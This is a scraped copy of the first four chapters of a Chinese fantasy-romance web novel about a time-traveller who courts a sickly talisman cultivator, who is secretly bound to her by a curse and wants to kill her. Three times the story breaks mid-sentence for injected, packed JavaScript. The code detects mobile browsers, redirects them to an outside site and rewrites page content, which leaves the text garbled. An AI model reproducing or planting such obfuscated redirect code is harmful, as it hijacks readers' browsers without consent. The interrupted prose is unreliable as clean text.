《误把白切黑反派当男配撩后》 1. 第 1 章 永定九年,九月十五。 秋山如妆,天空粉金,日薄西山时,苏时悦来到黑崖林。 少女一身华美锦衣,庄重得像要参加刀剑乱飞的试炼大会。脸上挂着笑,实际上已紧张得一塌糊涂。 苏时悦心中拼命尖叫,表面却努力硬撑。无他,只因为想给自己选定的目标对象留个好印象。 距离她穿进《虞昭令》这本书,已有五日。 《虞昭令》是以千年前的虞朝为背景,王朝为骨,仙侠为皮奇幻小说。讲的是英雄儿女积蓄实力,推翻暴君的传奇故事。 作为此文的忠实粉丝,苏时悦从未想过,她会在在一个普通的夜晚,捧起实体书,美美十三刷完毕,闭眼,睁眼,出现在光怪陆离的书中世界。 更要命的,还是身穿。 没有系统,没有天降剧本。她身着短褐,手中提了个钱袋子,突兀出现在空旷郊外。身上一切与现代有关的物品,都消失无踪。 唯一留下的,只有一直贴身佩戴的黑金珠串。在她摔倒受伤,珠串会泛起微弱光芒,好似结下契约,又会在须臾消失无踪。 眼下正处虞朝末代帝王当政时期,世道艰险。苏时悦一无缚鸡之力,二无身份名册,随时都有可能成为妖邪的美餐。她拼了命想活下去,干脆孤注一掷,寄希望于向书中有头有脸的正派人物求救。 穿越第一晚,苏时悦购置笔墨,将所知剧情与各类人设一一罗列,设定计划。 综合自身处境、未来规划、对剧情的了解,深思熟虑后,她抬起用珍贵碎银买下的毛笔,在姓名上画了个圈。 她看中一个人。 闻归鹤。 书中寥寥几笔,白纸黑字写下的,清绝温润的男配。 闻归鹤年少失怙,自幼体弱多病,却能以符入道,且在道法上出神入化,实力强劲。 他性情宽和,即使是陌生人,也能以礼相待。 最重要的是,设定集中清楚记载,永定九年秋,九月十五,他会以除魔之名,经过与苏时悦穿越地点极近的黑崖林。 极适合寻求援助。 几日时间,够她做足见面准备。 第五日,苏时悦冒着被妖魔袭击的危险,来到林中寻人。她寸土寸地搜过去,终于在面朝悬崖的溪河边看见一座幽暗狭小的山洞。 洞口黝黑,只容几人同时进入。阴影锋利如刀,割出鲜明的昏晓交界线,似要斩下擅入者头颅。 苏时悦攥紧五指,抱着试一试的想法,缓缓朝洞口走去。 忽然,后颈处一凉。似有道视线从远处扫来,凝为实体,不轻不重在她的脖颈处点了一下。 苏时悦被吓出一身小疙瘩,很快明白。 远处有人。 苏时悦反应极快,倏地转头,打好多时的腹稿冲口而出: “我知道公子发现我了。” “公子勿忧,我是特地来寻您的。”少女声音清亮,情真意切,毫无半点弄虚作假的痕迹,“或许您已不记得,但我们曾经见过。” “我有个交易想与公子商量,故而不请自来。”在结尾,她特地留了个钩子,希望激起闻归鹤的兴趣。 没有回应。 唯有水珠从缝隙落在石板,“滴答、滴答”,声音回荡在洞内,清晰可闻。 苏时悦正茫然,身后忽然传来皮毛摩擦枯草的沙沙声。 苏时悦回首。 三只毛发浓密的黑色妖兽悄无声息地出现在几步之遥。 黑妖咧着嘴,喷吐污浊的臭气。像是闻到新鲜人肉味,发出兴奋的低吼,从前、左、右方向围拢,眼看就要把视线转到她身上。 苏时悦被吓得魂飞魄散,险些惊叫出声。她绷紧后背,仓惶地四下扫视,没发现离开的路径,只得死马当活马医,一头扎进洞内。 万一她要找的人就在里面,或者放了行礼在里面,也能再让她挣扎几下。 洞内空无一人,赤金色的符纸落雪般铺在地上,纸面用朱笔泼上丹书,构建宏大法阵,尽显玄妙浩瀚。 百余张符纸交叠绘制而成,花团锦簇,好似灿灿金阳的符阵。符纸上字迹未干,昭示绘阵之人方离去不久。 黑妖在背后步步紧逼,眼看要摸索到洞前。苏时悦望着铺开的符阵,双眸倏地一亮,想到文中有关闻归鹤的一段描述。 符修的力量来源于符文、绘制材料和施术者的灵力,符文组合与灵力灵活运用,能产生不同效果。故事中,闻归鹤正是凭借此术四两拨千斤,在衰弱时亦维持强大的实力。 设定集提过,他的符阵既成,只需以血为引,凡人亦能催动——这是闻归鹤独有的慷慨。 阵法乍一看像个杀阵,她要是能驱动,便有十足把握逃生。 说不定还能反杀妖兽。 苏时悦果断拔下头顶发簪,对准手心。 为防止意外情况,苏时悦特地给簪尖开刃。掌下发力,发簪轻易刺破肌肤,正准备一划到底。 正咬紧牙关,视线所不及之处,手腕泛起微弱的微光。腕上的黑金珠串似是感知到主人受难,莫名亮了一瞬。 荧光无声起伏,迅速被另一道刺目的金黄压过。赶在苏时悦滴血至其上前,法阵猛地发动。 雷声滚滚而来,苏时悦身侧法阵猛地暴起光亮,刺激得她眯起双目。 一抹凌厉金芒破纸而出,如蛟龙出海,势如破竹。符纸无风自振,发出“嗡嗡”鸣动,灵光如云出岫,从头到尾,顷刻间把妖物捆了个结实。 黑妖不甘心被俘虏,发出震天动地的吼叫。 很快,它们连嘴巴也被套上,再发不出一丝动静。 “噗噗”几声,妖物朝旁倒去,为站在洞外之人让出一条路。 苏时悦回首,一名颀长瘦削,病容缱绻的少年映入眼帘。 少年面色苍白,眉眼狭长,唇色丹晖。 衣着整洁,一丝不苟,乌发由根白玉簪束起。右眼尾处点着颗旖旎的朱砂痣,融化他眉宇间缠绕不去的忧色。周身金丝翻飞,旋绕他的空气恍若熠熠生辉,炫美夺目,反射金泽。 病弱,符修,红痣。 所有的细节,全部对得上。 ——闻! ——归! ——鹤! 他果然不是见死不救之人,苏时悦忍不住咧开嘴角,喜上眉梢。 她终于找到抱大腿的救命稻草了! 她伸长脖子,试图记牢少年模样。要不是电光拦路,早冲上去和他激情握手。 “多谢公子救命之恩,我——” 刚准备道谢,身边再度掀起风浪。符纸腾空,相互交缠,凝成条结实的绳索,夺走她手中发簪、束缚住她的四肢,又圈住她的腰身,将她带至半空。 动作行云流水,却冷漠至极,无法称之为“友善”。 因为她擅动阵法,生气了? 难不成,闻归鹤现在还没有到愿意共享 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353035|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符阵的地步…… 苏时悦连忙道歉: “先前我不知公子即将折返,为求生路擅动法阵,还请见谅。” 少年眸色沉沉,连眉梢都不曾动。咳嗽压抑而克制,透出几分不易察觉的疲态。符纸卷起苏时悦的手腕,拎至半空。找准关节,微微施力,逼得她松手,露出掌心血点。 “承蒙关心,这个是……我不小心弄得。”苏时悦心虚地移开眼神,“公子放心,没有溅到您的符纸上。” 她的表现如何?他是喜欢还是讨厌?有没有吸引到他? 她又期待又忐忑,心跳声震如擂鼓。 响在闻归鹤耳边,只觉吵闹。 他可算找到她了。 闻归鹤眯起眼,抿唇,抑制住想将她分成数块的杀意,上下打量她。 要是苏时悦在此刻绕到闻归鹤身后,便能轻易发现,少年手心正血流不止。 他与苏时悦伤在同样的地方,可少女肌肤上不过一点血印,他的手掌却像被利斧劈开一般,皮开肉绽,伤口深可见骨,模糊血肉中,经脉如鼓点般跳动,直叫人毛骨悚然。 五日前,他不光丢了财物,身上还莫名其妙多出数道伤口。在连他都没注意到的时间,他被人暗算,承担对方的伤情。 自苏时悦入林,他便注意到她,猜测她可能就是他寻找的对象。他利用黑妖试探,不曾想结果尤为严重。 他不止与她绑在一起,连接二人的咒术还恶毒至极,甚至恶作剧一般,将她的一些伤势百十倍加诸在他身上。 被迫承担他人生死,简直是世上最恶毒的诅咒。 乍一看,不过是普通凡人,没有修为,身上更无被下咒的痕迹。 会和她手腕上的珠串有关吗? 他与她距离太远,无法精确地检查。他试过操纵符纸直接去夺,可符纸上距离珠串三寸外,便像忽然遭到雷击,瑟缩着蜷成团,再不敢近前。 闻归鹤只得近身:“过来。” 手一动,不客气地把苏时悦扯至近前,预备仔细盘查。却在触及苏时悦的双眸时,微微一怔。 少女长发乌黑,下巴尖尖,带着夏荷初绽的清甜。她的脸很小,衬得两只水灵灵的眼睛又大又圆,像两颗明亮的猫眼石。鼻尖挺翘,像玛瑙精雕细琢的艺术品。 她仿佛对发生一切一无所知,不见半分恐惧,甚至仰起脸,笑盈盈的,朝他露出口雪白的银牙。 强大的拉力中,她顺势鼓劲,直直地朝他伸手。 “好咧。” 苏时悦知道他在生气,也知道自己的所作所为并不值得称道。但在确定身份时,先前默念百遍的念头直截涌入脑海。 不能害怕,不能露怯。 不能让闻归鹤觉得,自己是个外强中干的烂橘子。 正所谓烈男怕缠女。 进入密林前,她便下定决心。若是遇见闻归鹤,在他拉远距离、甩开她前,她要穷极一切手段,不顾一切地抓住他、缠上他。 争取谈判的最大机会。 “这位公子,我终于找到你了。” 一声清亮鹤鸣,黑妖被分作数段。 凉风瑟瑟,直扑面颊,牵动衣摆猎猎作响。五色毫光,照耀山河大地。 闻归鹤后退半步,已是来不及。 少女扭腰回身,没骨头似地滑过来。在迅速往前围拢的符纸间奋力伸手,扯住少年衣领。 张开双臂,搂了上去。 2. 第 2 章 日光明媚,泛紫山林中,苏时悦紧紧搂住闻归鹤。 “这位公子,请听我一言。”她直视着他,八爪鱼般挂在他身上,发颤的尾音暴露她的紧张,“我、我,我就说一句话。” 苏时悦也知道此举于理不合,奈何事关生死,她双腿发软,上半身僵硬得像块铁片,根本掌握不住分寸。只得破罐子破摔,搂着他不放。 “只要公子给我时间,听完接下去的话,我立刻松手。” 少年身上有股好闻的兰草香,像朵可远观而不可亵玩的高山花束。 他未料到她会直接扑上,整个人连着往后退了三步,霜雪般的耳廓以肉眼可见的速度蹿起一抹红。 很快,空洞的双眸染上令人毛骨悚然的杀意。他抬掌至半空,只差咫尺便能捏碎她的脖颈。 苏时悦看在眼里,心猛地一紧,下意识抱得更紧,脑袋一低,把自己深深埋进臂弯之间,鼻尖蹭到疑似衣襟的布料。 别、别怕,根据设定,闻归鹤外冷内热,应该、应该不会滥杀无辜。 她怕得牙关打颤,只能反复用原书剧情催眠自己,强撑着不松手。 没过多久,少年撤去铺天盖地的符绳,换了只干净的手,五指隔衣搭上她的背部。 不轻不重,往下一按。 “姑娘寻我何事?” 苏时悦抬头,与他对视。 他眼底的杀意消散无踪,化作深邃湿漉,闲适游弋的优雅。 他掌心冰冷,冻得苏时悦一哆嗦,她趁此机会试探地浅笑:“我观公子实力超群,但身体抱恙,特来邀请与你同行。” 少年语气一滞:“同行?” 苏时悦见他有听进去的迹象,心头一喜。他果然大度宽和,对冒犯之举不加责怪。要不是走投无路,她实在不愿成为他的包袱。 苏时悦眸中浮现愧色,讪讪松手。 心底道歉,嘴上不停:“是啊。” “公子跋涉辛苦,我寻到一队贩卖骑乘商贩,可分一只灵兽予公子充当坐骑,免于无意义的劳累。同时,我也希望公子能与我等同行,保商队免于灾祸。” 她的眼中满是期待。 闻归鹤不动声色与她拉开距离,神色温和,语气却染上疏离:“闻某一路行来,不曾对姑娘留有印象,还请见谅。至于交易,闻某并非贪图安逸之人,不甚在意姑娘的提案,只不过……” “只不过什么?” “我对姑娘腕上首饰,有些兴趣,不知姑娘可愿取下,与我一观?”少年彬彬有礼,脸上挂着淡淡微笑,笑容却不达眼底。 苏时悦犹豫片刻,松开他,站定,撩起袖子伸出手,指尖还在微微发颤:“就这么看,如何?” 她大大方方地展示。 少女手腕纤细,一看便知从未做过重活。玄色珠串由红绳牵引,轻盈垂挂,由太溪珍珠所制,圆润透亮,衬得肌肤洁净无瑕。 闻归鹤不动声色地背过手,在暗处掐出数个决,尽数扔到她身上。 无用。 承伤咒术的根源,的确是那条手串。可她不主动取下,他便无法把它夺过来。 他施加的那些术法,都以各式各样的形式回馈到他身上。 闻归鹤的态度温和如旧,将期待与杀心遮掩得严严实实。 “姑娘若将此物赠与我,作为交换,我愿意护姑娘周全。” 苏时悦摇了摇头:“很抱歉,这是我家人送我的东西,是我很重要的宝物。我不能取下它,更不能送给你。” “除了手串,我有更好的东西给公子。我知道你要前往越州城,特地为您准备便捷方案,若是信赖我,您在越州城的行动会轻松许多。”她见闻归鹤似有不悦,忙若无其事地转移话题。 “不必。” 闻归鹤含笑摇头,打断她的话语。 “姑娘既没有交易的打算,那便没有别的话可说,慢走不送。” 话音落下,他抬指一点。四散各处的符纸翻腾而起,宛如场飞扬的九月雪。雪片聚于半空,汇作扁舟,横立洞口。 苏时悦被气浪卷起,身不由己地朝着扁舟飞去,稳稳落入舟中。 一号方案失败了? 苏时悦心中拔凉一片,手脚也跟着有些发冷。 她趴在符舟上,手忙脚乱维持平衡。挣扎着扬起下颚,想观察闻归鹤此刻的神情。 “公子不想知道越州此时的势力结构吗?据我所知,主城今日发生了很有趣的惊变。” 少年对她的话置若罔闻,低头,俯身,将银簪插回苏时悦发间。 并起双指,点向她的眉心。 “林中精怪出没,妖邪害人,绝非久留之地,姑娘还是请回吧。”声音如山溪奔涌,悦耳动听。 她既对他有目的,又瞻前顾后。 不值当。 他且放她独自一人,吃过苦头,待必要时期再现身。 闻归鹤剑指往旁一摆,纸作小舟倏地往洞外飞去。 “等等,公子,我还没说完,别赶我走啊……”苏时悦猝不及防,不甘心地撑在船舷上,还在竭力争取。 符舟未曾停下分毫,直截将少女送出洞穴。少年祭出一道跟踪符,贴至舟底,正准备筹谋第二步计划,手背突兀传来刺痛。 低头,数个弯曲的伤口凭空出现。 乍一看,竟像是被掐出来的。 闻归鹤猛地扭头,看向愈来愈远的符舟。 他不愿让苏时悦受伤,特地出手保护。可谁知最大的威胁,竟是她本人。 紫色高天,长空万里,金云悠悠。 苏时悦咬紧牙关,在手背上掐出一个个小月牙,指甲深嵌入皮肉,迫使自己冷静。 不慌,不慌,要是连自己都不知所措,还有谁能够救她? 不就是出师不利,一号方案告吹,她还有别的招。 符舟载着她原路返回,远离黑崖林,在林外直道停下。 树荫下,有许多凡人歇脚停留,看见一人从天而降,纷纷起身避让。 扁舟落地,立时解体,符纸翻飞着消失无踪。看清来人,一个小眼大嘴的褐袍圆领商人起身,热络地迎上去。 “容大小姐,您回来了。”商人脸上带着巴结的笑,“您孤身一人涉险,可把我们担心坏了。” 苏时悦起身,回首,脸不红,心不跳:“是啊,多谢你们在林外等我,辛苦各位了。” “接下来,还要麻烦各位陪我跑一趟十里外的墨池。”她收拾好心情,来到行脚与伙夫跟前,“待回到越州城,我会为诸君请赏。” “多谢大小姐。” “谢过容姑娘。” 感恩之声不绝于耳,苏时悦一一应下,回到李硕为自己备下华厢中。 厢内设精美,摆设考究,苏时悦却无心欣赏。甫一入内,当即回身,探手,扯下帘栊,遮住外人视线。 来到梨花书案边,她小心翼翼拉开抽屉,确认早先放置的发丝未被挪动,松了口气。 她取出早些时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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静谧深夜,似有清风吹动窗棂,翻起一阵刷拉拉的响。动静越来越大,引得苏时悦拨开挂帘,朝外张望。 一只白色的鸟儿挤在车厢窗沿处,不停撞击木栏。 “鸽子?还是……”苏时悦努力辨认。 白鸟颈毛膨胀,尾羽倒立,见苏时悦投来视线,撞得愈发起劲。 “怎么,怎么了?外面有红隼吗?”苏时悦没被鸟类主动求救过,对此颇感意外,主动开了窗。 “嗖”一下,白鸟从她臂弯下钻过。它的眼中闪过道金芒,进车,转悠一圈,瞄准发簪,一口叼起,拍着翅膀往外飞。 苏时悦双目瞪得老圆,震惊。 待反应过来,“哎”了一声,急忙合身扑上。 “等等,回来!” 又不是乌鸦,抢什么发光首饰?她花一两银子买的! “砰”一下,苏时悦额头磕上窗棂。她顾不上疼,撑身,极力往车厢外探。 白鸟爪子抓着发簪,振翅飞出车厢。却在半空中倏地一晃,像是忽然遭遇袭击,鸟爪一松,簪子打着旋儿落下。 苏时悦正欲翻窗去捡,忽地停下动作,目光看向远处。 月华普照,枝影横斜,如藻荇交错。两根冷白玉指探出,捻住坠落的银簪。 清落少年倚树而立,身形单薄,由银晖裁剪,勾勒出一张寂寥的浅影。 3. 第 3 章 认出闻归鹤,苏时悦微微一怔。她手撑窗沿,眯眼眺望,确定是本尊。 “砰”一下关上窗。 不对劲,有问题。 峰回路转,苏时悦却并不高兴。她的薄唇不自觉抿紧,眉头也跟着蹙起。 作为《虞昭令》中的一员,闻归鹤每次出场,皆是喜怒不形于色。他待人友善,却也疏离。如此人设,赶她走,又主动来寻,总觉得有些渗人。 苏时悦心中发怵,闻归鹤已收起簪子。少年眼中失落一闪而过,眸色很快恢复淡然,将发簪藏入右手掌心,预备离开。 “公子留步。”忽地,车厢内传来动静。 温暖的烛光金墨般在空中泼开,少女重新开窗,双颊激动得微微发白。 “好巧,又见面了。是您捡到了我的头饰吗?” “秋夜寒蛩静默,小心冷气入体,进车喝杯热茶如何?” 是危险,也是机会。 无论如何,先拐了再说。 自穿越以来,她一直是这么闯过来的。 树林沙沙,鸣声上下。 苏时悦站在窗边,扶窗棂,面庞枕在手背上。脸带微笑的同时,身子蓄势待发地紧绷。 闻归鹤抬眸,与她对视片刻。见她不肯出门,不得不朝华厢内的灯光靠近些许。 少年皮肤透着病态白皙,凑近后,苏时悦能闻到他身上淡淡的铁锈味。 她心中“咯噔”一下,刚想问他是否受伤,就见闻归鹤薄唇微弯,抬手递出银簪:“姑娘的头面。” 柔和的语调打乱苏时悦的节奏,少女指尖绷紧,低头,“唔”一声,从窗边探出左手捏住簪头:“多谢。” 二手半空持平,闻归鹤没有卸力,反而刻意让动作僵宁在半空。他的眸光掠过少女掌心,刻意一顿,眼角流露一丝失望。 “我有些话要与公子商量,不知可否再给我个机会,进车厢详谈?”苏时悦没有注意到他神态的变化,像是想到能激发闻归鹤兴趣,留下他的方法,眼中期待光芒闪烁。 闻归鹤摇摇头:“姑娘还是早些关窗,免得其余东西也被偷了。” 他朝她行了一礼,而后转身。 忽然,惊呼声响起。 “等一等!” 苏时悦把窗户开得更大些,双手扶住窗沿,大半个身子探出窗外。 闻归鹤略带疑惑地转头,少女已“蹭”地离窗,如他所愿般推门而出,急切地向他走来:“公子的手怎么了?” 高空中的一道银白洒落,照出脚下湿色。深褐的土地上,多出颗不引人注目的小斑点,时不时有液滴坠落,砸在地上,浸得颜色越来越深。 铁锈味不是错觉,他受伤了。 苏时悦匆匆小跑到他身边,双手抓住他的臂腕。 在她惊愕的目光中,闻归鹤的左手像被刀斧劈开,血线蛛网般蔓延,刺目丑陋,散发浓郁的铁腥味。最骇人的,还是一道贯穿伤,刀口齐整平滑,仿佛有人手持匕首,捅穿他的整只手掌。 闻归鹤看眼掌心:“是除妖时留下的伤,许是来的时候崩开,我没发现。” 不外乎因咒术而生的旧伤,还有,为了测试伤口是否共通,捅穿手背时留下的痕迹。 少女以手掩唇,面露惊愕,旋即,语气变得强硬。 “我车厢内有药,要不,随我上车?我来帮你包扎。”她说到做到,立刻转身,拉着他的袖子往回走。 像个见到伤者于心不忍,伸手施救的善女。 可惜语速过快,夹带颤音,暴露她找到机会的兴奋。 闻归鹤饶有兴致地看着她,没有挪动脚步。 见他不动,苏时悦回身瞪了他一眼:“公子既然主动来找我,肯定有事要做,何必遮遮掩掩?” 她铁了心要将闻归鹤拐上车,没有半点含蓄,直截了当扯开遮羞布。 眉目鲜活,带了几分不容置疑的强制。 闻归鹤眼中滑过丝惊愕,动作僵了僵,竟没再反抗。苏时悦一路生拉硬拽,成功将少年扯入自己的领域。 车厢空旷,烛光明亮,案上纸张如雪堆积。苏时悦装模作样整理一轮纸张,敲齐页脚,叠放在桌角,用镇纸压严实。 拉开最里层的柜门,翻出竹筐,取出金疮药与绷布。 少年随她入内,信手掩住厢门。他动作轻柔,干净,伴着冷冽雾气,眉宇温和如旧,好似笼了层柔和的月光。 “我只有最普通的伤药,比不上修士,也能勉强派上用场。”苏时悦搬椅子给他,“坐。” 她见闻归鹤像是没反应过来,双手在他肩上用力一按,将他压到梨花椅上。 终究是被文明社会宠坏的人,一看见狰狞伤口,还有蹭到掌侧的血丝,便止不住地发抖。 她小心托起闻归鹤的手,撒药粉,垫绷布。绕过少年五指,在不影响他活动的前提下,细致地包好半只手掌。 “你……”苏时悦想问他疼不疼,话到嘴边,又觉距他受伤已有好几个时辰,关心太迟,改口,“忍着点,很快就好。” 闻归鹤一动不动,安静地像一尊白壁玉雕。 他仿佛感觉到疼痛,静静垂着眼,只在绷带绕上最后一圈时,眼中掠过一抹奇怪神色。 好容易包扎完成,苏时悦终于能办正事:“公子,您瞧我那桌上……” 在一窗之隔的交谈中,苏时悦想到了也许能留下闻归鹤的东西。 她看了看案台,刚想说话,又被他不轻不重岔开话题。 “劳烦姑娘为我处理,可姑娘对我尚且心存不忍,为何对自己如此狠心,颇爱自伤。” 苏时悦不得不先解释:“没有的事,只是我为防止夜间读书昏昏欲睡,效仿古人披星戴月罢了。” 月色浓稠,似要将灯光吞噬殆尽,闻归鹤眸光落在她脸上,倦容含笑:“容大小姐,日后莫要再如此,会有人为你挂心。” 依照虞朝的时间线,会关心她的人,都还没出生呢。苏时悦打上绷带最后一个结,干巴巴笑两声,倏地抬头:“公子喊我什么?” “容枝桃姑娘。”少年笑得温吞,“商队的人皆如此称呼你,我喊错了吗?” 苏时悦迟疑片刻,觉得比起被步步试探,不如坦诚相待:“我不是真正的大小姐。” “伪装身份,是我进入越州城的一环。公子有所不知,越州容家的家主暴毙而亡,眼下越州城层层戒严,想要入内,须得耗费许多时日,要是能寻到容枝桃,无疑能省下不少麻烦。我此前与公子说的越州惊变,正是如此。” 少年长睫轻动。 苏时悦低声:“容姑娘虽是大家族的女儿,但个性温柔,很好说话。要是对她有救命之恩,她亦会涌泉相报。一旦与容姑娘同行,不仅能免去照样撞骗的罪责,毫发无损进城,还能在容家拥有一定地位。 ” “是么……那姑娘接下来,有何计划?” 苏时悦趁热打铁,热情解释:“我已打探清楚,容枝桃身处墨池,正处于危机时刻。我拜托商队首领临时转向,前去救助,大概耗费一日有余。接了容枝桃赶路,刚好能赶在讣告发出前,到达越州城。” “如果公子愿意助我一臂之力,不仅能缩短时间,公子在越州城的行动,也会更为顺…利……” 苏时悦梳理脑海中的计划,声音却逐渐放低,逐步失去意识。 乳白色的雾气凝成实体,不知何时充斥华厢。少女脚步虚浮,晃了晃,身子一歪,朝下倒去。 昏迷之前,仿佛怕他跑了,苏时悦用尽全力探手,扣上闻归鹤的护腕。 一卷金符飞出,缠住她的肩膀,意图隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353037|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开二人。可苏时悦不知哪来的力气,手指像五块顽石,死死攥紧。 迷香簇拥下,少年苍白的脸上笑意一凝。他持符拉扯两把,发现根本拽不开苏时悦,又不敢弄伤她,不得不先将她送上床榻。 再动手,一根根地掰开她的指节。 冰凉的手被温暖的指尖染上温度,红润少许。闻归鹤视若无睹,恢复自由后,探出双指,在苏时悦颈肩一按。 无事。 他闭眼,再睁开,清润的瞳孔漫上杀意,无声无息,稍稍加重力道,扼上。 线条流畅的脖颈,忽地多出抹可怖的红印。剧烈疼痛与窒息感袭来,闻归鹤偏折项颈,呼吸一乱,倾吐而出的气息有些颤抖。 “不止是承伤咒,还掺加因果……”他低声喃喃,回望手心,神色复杂。 送走苏时悦后,闻归鹤仔细回忆了和她之间的联系。 连接二人的咒术很奇妙,既没有对苏时悦产生实质性保护,也没有让闻归鹤变成受控的傀儡。只是把苏时悦身上的伤,大部分原封不动地照搬给他。 不似邪术,反倒与师徒、道侣间常见的共感秘术有些相像。 “其他人对她下手,只是原封不动转移,我想伤害她,便是百十倍之多的反噬……” 不止如此,他身上增添的伤势,半分也转移不到苏时悦身上。 “下咒者,当真是花心思。” 闻归鹤回转目光,落在苏时悦特地准备的手稿中,略一迟疑,上前移开镇纸。 映入眼帘的,是一叠横七扭八曲折绕圈的文字。闻归鹤靠着其中几段汉字,辨别出是前往黑崖林的计划。 计划被打了个叉,意味失败。后续又洋洋洒洒写了一堆,一口气提了好几个地点与人名。 与计划书一同附上的,还有一封信。 笔风婉约,并无缺横少捺。 【致闻公子:】 【不瞒公子,我乃神机妙算半仙之人,得天地秘法,可知上下五千年气运。自相遇以来,已有半月有余,公子光明磊落,侠义仁厚,锄强扶弱,令我钦佩不已。我虽广识,却无护身之法,倾慕修士日行千里,憧憬跟随学一技之长,四方山河。望公子允我同行,互帮互助。】 【不才小人,再拜敬上。】 言辞真切,颇为诚恳,是苏时悦准备未来在越州城递上的信笺。 闻归鹤又找了找,发现没有给其余人的信。 少年眉眼抽了抽,哑然:“装神弄鬼。” 她通晓古今,为何算不准他想杀她?无非是想通过这个方式,吸引他的注意。 闻归鹤微微侧头,苍白两指拎着单薄信纸抖了抖。揉了揉发痛的手腕,将竹纸整理完毕,轻弹纸面,有条不紊原路放回。 江湖骗子罢了。 天边泛起鱼肚白,雄鸡报晓,商队的伙夫零散醒来,开始新一日行程准备。闻归鹤合上窗,走到床边,居高临下,凝视少女香甜的睡颜。 催眠的安神香燃得正旺,榻上少女轻轻翻身。她无意识扒拉过锦被,搂在怀里,眉头无意识蹙着,陷入安全感极低的噩梦。 他又一次俯身,探手去摘苏时悦的手串,不出意外被弹开。 闻归鹤眉头微蹙,又不知想到什么,轻轻笑了一声。 熹光洒落,映着少年面庞泛金,眼底流光婉转,笑意盎然。 她的所思所想,与他何干? 此人行事诡异,但应当不知道因果咒术。并且,她似乎把他当成脾气温凉的正人君子,主动把自己送到他面前。 如此正好。 他会顺从她的心意,瓦解她的抵触,博得她的信任,她再次提出同行要求时,他就能先取得手串,然后。 让她把施加在他身上的麻烦与痛苦。 百倍偿还。 4. 第 4 章 九月十六日,晴,丹桂飘香。 苏时悦恢复知觉时,眼皮重得厉害。 她是被迷晕的。 被闻归鹤。 恐怕是她话多事烦,使他厌烦,干净利落抽身离开。 无妨,得之她幸失之她命。 她拿不下闻归鹤,换成容枝桃就好。 第一缕阳光透过窗棂与遮帘,照上少女长睫。苏时悦奋力挣扎,与裹挟双目的坚冰作斗争。开门声响起时,迷离的双目终于撑出一条缝。 苏时悦牙齿嵌入嘴唇,迫使自己恢复清醒。撑起身,转脸向门口,忽而讶异出声。 “公子?” 闻归鹤没有走。 少年身姿颀长,如残梅病鹤,萧萧肃肃,又似春山负雪,令人移不开目光。 “姑娘醒了?昨日忽然昏迷,实在叫人担心。”他语带关切。 “早餐已经备下,洗漱完毕,趁热吃了如何?”桌案上摆放竹篮,由布帛盖着保温,丝丝缕缕飘出诱人香气,当是热气腾腾的肉包子。 低头,手心处,被她又划又戳撕出的伤口尽数愈合,连红印都不曾留下。 苏时悦握着被角,茫然地眨眨眼,心中对闻归鹤的举动充满疑惑与不解。种种疑问如乱麻般在她心头缠绕,让她在警惕中生出一丝期待。 恰在此时,车厢外传来脚步声。 苏时悦顿时恢复警觉,她翻身而起:“有人过来了,公子先躲一躲。” 可闻归鹤却像是迟了一步,没来得及回避。他嘴角微抿,长眉轻蹙,甚至掩唇轻咳几声,暴露自己的存在。 厢门缓缓前移,他嘴角轻抿上扬,看热闹般站在原地,准备欣赏苏时悦如何应对。 蓦地,一只手凭空探出,勾住少年纤细腰肢。指尖热流隔着布料沁入,电光火石般蔓延,闻归鹤身形微僵,脸色凝固。惊愕回首,鬓间发丝飘扬。 他下意识出手,朝身后人死穴攻去。 最后一刻,想起因果绑定,堪堪停下。 下一瞬,罗衾当头罩落,搭在他的肩头。一人小跑着与他擦肩而过,袖摆翩飞,似一只花色蝴蝶。 闻归鹤措手不及,指尖一颤,撩开布角,俏丽容颜映入眼帘。 “来不及讨论了。”苏时悦仰头看他,严肃地绷嘴,以当机立断的口吻道。 “对面来者不善,麻烦公子配合我应付一遭。” 她垫脚,以指抵唇:“嘘。” 车门大开。 “你是何人?咦,容大小姐安。” 粉色长空下,李硕插手而立。 时值秋季,胖乎乎的圆脸商人仗着几分修为,仍穿着飘逸的领衫,却弄巧成拙,把自己裹成个小球。 苏时悦审视着他,浅浅打了个哈欠。 “他是我昨日遇到的小郎君,见他模样俊俏,约他月下同游,怎么了?”她往前站了站,挡住闻归鹤异样的神色。 “倒是你——”李硕尚未答话,苏时悦柳眉倒竖,厉声,“不速而至,长驱直闯,居心何在?” 临时假扮大小姐,最重要的是什么? 符合原主人设?温柔娴静? 不。 是要竖起浑身的刺,赏的出钱,骂的了人,让人不敢猜忌,察觉不出端倪。 “你到底来做什么?” 李硕被她的气势吓住,连忙满脸堆笑:“自然是来给大小姐送东西的。” 他把苏时悦要的东西备齐送上,苏时悦简单扫一眼,劈手丢下一块银两,“砰”一声,甩上门。 李硕笑容满面地接过,走远,面色下沉。 他的袖中滑出一枚传讯玉简,指尖轻划,向越州城发出密报—— “路逢一人,自称容氏贵女,请仙长派人来探真假。” 